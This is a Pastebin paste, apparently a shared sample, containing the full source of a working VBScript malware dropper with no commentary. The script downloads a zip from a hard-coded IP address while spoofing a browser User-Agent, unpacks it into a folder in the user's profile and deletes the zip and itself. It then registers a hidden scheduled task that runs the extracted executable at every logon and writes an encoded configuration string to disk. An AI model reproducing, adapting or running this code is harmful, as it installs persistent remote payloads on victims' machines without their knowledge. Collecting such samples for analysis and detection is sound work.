Advertisement
Racco42

Untitled

Jul 17th, 2018
1,658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.77 KB | None | 0 0
  1. On Error Resume Next
  2. Dim pastaprogram,Lnk,nmarqx,nmarqz,resultexe
  3. Dim objShell
  4. Dim strPath
  5. Dim codinf
  6. Dim fso, msg,objFSO,objFolder
  7. Sub DeleteAFile(filespec)
  8. Dim fso
  9. Set fso = CreateObject("Scripting.FileSystemObject")
  10. fso.DeleteFile(filespec)
  11. End Sub
  12. Function geraarqinf(outFile,texto)
  13. Set objFSO=CreateObject("Scripting.FileSystemObject")
  14. Set objFile = objFSO.CreateTextFile(outFile,True)
  15. objFile.Write texto + vbCrLf
  16. objFile.Close
  17. End Function
  18. Function geratarefa(outFile,nome,nomepc,cam)
  19. Set objFSO=CreateObject("Scripting.FileSystemObject")
  20. Set objFile = objFSO.CreateTextFile(outFile,True)
  21. objFile.Write "<?xml version='1.0' encoding='UTF-16'?>" + vbCrLf
  22. objFile.Write "<Task version='1.2' xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'> " + vbCrLf
  23. objFile.Write "<RegistrationInfo>" + vbCrLf
  24. objFile.Write "</RegistrationInfo>" + vbCrLf
  25. objFile.Write "<Triggers> " + vbCrLf
  26. objFile.Write " <LogonTrigger> " + vbCrLf
  27. objFile.Write " <Enabled>true</Enabled> " + vbCrLf
  28. objFile.Write " <UserId>"+nomepc+"\"+nome+"</UserId> " + vbCrLf
  29. objFile.Write " </LogonTrigger>" + vbCrLf
  30. objFile.Write " <RegistrationTrigger>" + vbCrLf
  31. objFile.Write " <Enabled>false</Enabled>" + vbCrLf
  32. objFile.Write " </RegistrationTrigger>" + vbCrLf
  33. objFile.Write " </Triggers>" + vbCrLf
  34. objFile.Write " <Principals>" + vbCrLf
  35. objFile.Write " <Principal id='Author'>" + vbCrLf
  36. objFile.Write " <UserId>"+nomepc+"\"+nome+"</UserId> " + vbCrLf
  37. objFile.Write " <LogonType>InteractiveToken</LogonType>" + vbCrLf
  38. objFile.Write " <RunLevel>LeastPrivilege</RunLevel>" + vbCrLf
  39. objFile.Write " </Principal>" + vbCrLf
  40. objFile.Write " </Principals>" + vbCrLf
  41. objFile.Write "<Settings>" + vbCrLf
  42. objFile.Write "<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> " + vbCrLf
  43. objFile.Write " <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>" + vbCrLf
  44. objFile.Write " <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>" + vbCrLf
  45. objFile.Write " <AllowHardTerminate>false</AllowHardTerminate> " + vbCrLf
  46. objFile.Write " <StartWhenAvailable>true</StartWhenAvailable>" + vbCrLf
  47. objFile.Write " <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>" + vbCrLf
  48. objFile.Write " <IdleSettings>" + vbCrLf
  49. objFile.Write " <StopOnIdleEnd>true</StopOnIdleEnd>" + vbCrLf
  50. objFile.Write " <RestartOnIdle>false</RestartOnIdle>" + vbCrLf
  51. objFile.Write "</IdleSettings> " + vbCrLf
  52. objFile.Write " <AllowStartOnDemand>true</AllowStartOnDemand>" + vbCrLf
  53. objFile.Write " <Enabled>true</Enabled>" + vbCrLf
  54. objFile.Write " <Hidden>true</Hidden>" + vbCrLf
  55. objFile.Write " <RunOnlyIfIdle>false</RunOnlyIfIdle>" + vbCrLf
  56. objFile.Write " <WakeToRun>false</WakeToRun>" + vbCrLf
  57. objFile.Write "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit> " + vbCrLf
  58. objFile.Write " <Priority>7</Priority>" + vbCrLf
  59. objFile.Write " </Settings>" + vbCrLf
  60. objFile.Write " <Actions Context='Author'>" + vbCrLf
  61. objFile.Write " <Exec>" + vbCrLf
  62. objFile.Write " <Command>"+cam+"</Command>" + vbCrLf
  63. objFile.Write " <Arguments></Arguments>" + vbCrLf
  64. objFile.Write " </Exec>" + vbCrLf
  65. objFile.Write " </Actions>" + vbCrLf
  66. objFile.Write " </Task>" + vbCrLf
  67. objFile.Close
  68. Dim objShell
  69. Set objShell = WScript.CreateObject ("WScript.shell")
  70. objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
  71. WScript.Sleep(5000)
  72. objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
  73. WScript.Sleep(5000)
  74. objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
  75. Set objShell = Nothing
  76. DeleteAFile outFile
  77. End Function
  78. Function pegaexe(pasta)
  79. Set oFS = CreateObject("Scripting.FileSystemObject")
  80. For Each File in oFS.GetFolder(pasta).Files
  81. If oFS.GetExtensionName(File)= "exe" Then
  82. resultexe = File
  83. Exit Function
  84. End If
  85. Next
  86. End Function
  87. Set objNet = WScript.CreateObject("WScript.Network")
  88. pastaprogram = "C:\Users\"+objNet.UserName+"\rjipl\"
  89. Function extract(FileName, Pasta)
  90. Dim objShell
  91. Dim FilesInZip
  92. set objShell = CreateObject("Shell.Application")
  93. set FilesInZip=objShell.NameSpace( FileName).items
  94. objShell.NameSpace(Pasta).CopyHere(FilesInZip)
  95. End Function
  96. Function SaveBinaryData(FileName, Data)
  97. Const adTypeText = 1
  98. Const adSaveCreateOverWrite = 2
  99. Dim BinaryStream
  100. Set BinaryStream = CreateObject("ADODB.Stream")
  101. BinaryStream.Type = adTypeText
  102. BinaryStream.Open
  103. BinaryStream.Write Data
  104. BinaryStream.SaveToFile FileName, adSaveCreateOverWrite
  105. End Function
  106. Set fso = CreateObject("Scripting.FileSystemObject")
  107. If (fso.FileExists(pastaprogram)) Then
  108. msg = pastaprogram + " exists."
  109. Else
  110. Set objFSO = CreateObject("Scripting.FileSystemObject")
  111. Set objFolder = objFSO.CreateFolder(pastaprogram)
  112. Lnk = "http://177.11.50.117/rsfdsa/"
  113. nmarqz = pastaprogram + "jcodlyyf.zip"
  114. Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  115. objWinHttp.open "GET", Lnk, False
  116. objWinHttp.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
  117. objWinHttp.send ""
  118. SaveBinaryData nmarqz,objWinHttp.responseBody
  119. If (fso.FileExists(nmarqz)) Then
  120. extract nmarqz, pastaprogram
  121. DeleteAFile nmarqz
  122. DeleteAFile WScript.scriptFullName
  123. pegaexe pastaprogram
  124. Set objNet = WScript.CreateObject("WScript.Network")
  125. geratarefa pastaprogram+objNet.UserName+".xml",objNet.UserName,objNet.ComputerName,resultexe
  126. codinf = "DFDFE4EDEBF1E4D3D9B5E0ECECE8B2A7A7A9AFAFA6A9A9A6ADA8A6A9A9AFA7E1E6DCDDF0A6E8E0E8B5D9D5D3DAB5BBD0A5A9E6BEABDBCCB5DAD5D3DBB5C8BDC1D0C1C5B5DBD5EBF0E7F0E7DAE0"
  127. geraarqinf pastaprogram+objNet.UserName+".log", codinf
  128. Else
  129. End If
  130. End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement